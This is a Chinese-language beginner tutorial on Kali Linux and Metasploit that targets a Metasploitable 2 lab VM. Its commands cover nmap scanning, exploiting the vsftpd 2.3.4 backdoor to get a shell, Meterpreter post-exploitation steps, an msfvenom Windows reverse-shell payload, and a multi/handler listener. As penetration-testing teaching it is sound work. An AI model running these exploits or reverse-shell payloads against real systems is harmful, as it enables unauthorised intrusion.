1. 引言Kali Linux 是信息安全领域最知名的渗透测试发行版之一内置了大量安全审计工具。而 Metasploit 作为其中最具代表性的框架集漏洞利用、Payload 生成、后渗透操作于一体是安全从业者与爱好者学习渗透测试绕不开的核心工具。本教程面向具备一定 Linux 基础、希望系统学习渗透测试流程的读者从环境搭建讲起逐步带你完成一次针对授权靶机的完整测试流程。重要声明本文所有内容仅用于安全教学、授权测试与自我防护。未经授权对他人系统进行扫描、渗透或攻击属于违法行为。请务必在合法、可控的实验环境中练习严禁将相关技术用于任何非法用途。2. Kali Linux 环境准备2.1 获取与安装Kali 官方提供了多种形态的镜像推荐新手从虚拟机镜像入手VMware / VirtualBox 镜像下载后直接导入开箱即用免去安装步骤。ISO 镜像适合需要自定义安装或有特殊分区需求的用户。官方下载地址请自行前往 Kali 官网确认最新版本# 下载后校验镜像完整性示例sha256sum kali-linux-2024.1-installer-amd64.iso2.2 安装后的基础配置首次登录后建议先完成以下基本配置# 更新源并升级系统sudoaptupdatesudoaptfull-upgrade-y# 修改 root 密码默认 root/toorsudopasswdroot# 确认 Metasploit 是否已安装msfconsole--version2.3 配置实验靶机本教程使用Metasploitable 2作为靶机。这是一款官方故意保留大量漏洞的虚拟机专门用于渗透测试训练切勿暴露在公网中。实验拓扑建议如下隔离实验网络仅主机模式攻击机 Kali Linux靶机 Metasploitable 2使用虚拟机的「仅主机模式Host-Only」或内部网络将攻击机与靶机放在同一隔离网段避免影响真实网络。3. Metasploit 框架初识3.1 启动 msfconsoleMetasploit 的核心交互界面是msfconsole启动时会加载模块数据库# 启动前建议先初始化数据库sudomsfdb init# 进入控制台msfconsole启动成功后你会看到 Metasploit 的 banner 和msf6 提示符。3.2 核心概念概念说明Exploit漏洞利用模块用于触发目标漏洞Payload漏洞利用成功后执行的代码如获取 ShellAuxiliary辅助模块如扫描、探测、DoS 验证等Encoder编码器用于规避检测或适配环境Post后渗透模块用于获取权限后的进一步操作3.3 常用基础命令# 查看帮助help# 搜索模块search vsftpd# 查看某个模块的详细信息info exploit/unix/ftp/vsftpd_234_backdoor# 查看当前会话sessions# 退出控制台exit4. 信息收集与漏洞扫描实战4.1 主机发现首先确认靶机在实验网络中的 IP 地址假设 Kali 所在网段为192.168.56.0/24# 使用 netdiscover 进行 ARP 探测sudonetdiscover-r192.168.56.0/24# 或使用 nmap 扫描存活主机nmap-sn192.168.56.0/244.2 端口与服务扫描假设靶机 IP 为192.168.56.101执行详细扫描# 扫描常见端口并识别服务版本nmap-sV-sC-O192.168.56.101-oNscan_result.txt参数说明-sV探测服务版本-sC使用默认脚本扫描-O尝试识别操作系统-oN输出结果到文件4.3 使用 Metasploit 内置扫描模块Metasploit 同样提供了扫描辅助模块便于在框架内完成信息收集msf6search portscan msf6use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp)setRHOSTS192.168.56.101 msf6 auxiliary(scanner/portscan/tcp)setPORTS1-1000 msf6 auxiliary(scanner/portscan/tcp)run5. 漏洞利用实战VSFTPD 后门Metasploitable 2 上的 vsftpd 2.3.4 存在一个经典后门漏洞非常适合作为第一堂实战课。5.1 搜索并加载模块msf6search vsftpd_234 msf6use exploit/unix/ftp/vsftpd_234_backdoor5.2 配置攻击参数msf6 exploit(unix/ftp/vsftpd_234_backdoor)setRHOSTS192.168.56.101 msf6 exploit(unix/ftp/vsftpd_234_backdoor)show options确认目标端口默认为 21 后执行攻击msf6 exploit(unix/ftp/vsftpd_234_backdoor)run5.3 获取 Shell如果利用成功会回连一个命令行 Shell。此时可以执行基础命令验证权限# 查看当前用户whoami# 查看系统信息uname-a# 查看网络配置ifconfig此时拿到的通常是一个普通 shell后续可以通过 post 模块或手动操作进行提权本教程暂不展开。6. 后渗透初步操作拿到 Shell 后可以将其升级为 Meterpreter 会话以便使用更丰富的后渗透功能。6.1 生成 Meterpreter 反弹连接在攻击机上通过msfvenom生成针对靶机的 payload 不是本例重点这里演示如何将普通 shell 升级# 在 meterpreter 或 shell 会话中使用 sessions 命令msf6sessions-u16.2 常用后渗透模块示例以下命令需在取得相应会话后执行仅作功能演示# 进入已建立的会话msf6sessions-i1# 获取系统信息meterpretersysinfo# 查看当前权限与环境meterpretergetuid meterpreterpwd# 截图仅用于授权测试留证meterpreterscreenshot7. Metasploit 常用进阶技巧7.1 使用 msfvenom 生成 Payloadmsfvenom用于独立生成 payload常用于测试防护体系或模拟攻击路径# 生成一个 Windows 反向连接的 payload仅限授权测试环境msfvenom-pwindows/meterpreter/reverse_tcp\LHOST192.168.56.102LPORT4444\-fexe-opayload.exe参数说明-p指定 payloadLHOST攻击机接收回连的 IPLPORT监听端口-f输出格式-o输出文件名7.2 建立监听器生成 payload 后需在攻击机建立对应的监听msf6use exploit/multi/handler msf6 exploit(multi/handler)setPAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(multi/handler)setLHOST192.168.56.102 msf6 exploit(multi/handler)setLPORT4444msf6 exploit(multi/handler)run7.3 数据库辅助模块利用 Metasploit 的数据库功能可以高效管理多主机扫描结果# 查看数据库状态msf6db_status# 将 nmap 结果导入数据库msf6db_import scan_result.xml# 查看已发现的主机msf6hosts# 查看已发现的服务msf6services8. 总结与后续学习方向通过本教程你完成了从 Kali 环境搭建、主机发现、端口扫描到一次完整漏洞利用的入门流程并初步接触了后渗透与 payload 生成。后续可以继续深入的方向Web 渗透学习 SQL 注入、XSS、文件上传等漏洞的检测与利用内网渗透掌握横向移动、权限维持、域渗透基础自动化测试利用 resource 脚本与模块串联提升效率蓝队视角了解常见攻击路径反哺防御体系建设最后再次强调技术是中立的使用技术的人决定了它的价值。请在合法、授权的前提下进行一切安全测试共同维护健康的网络空间。
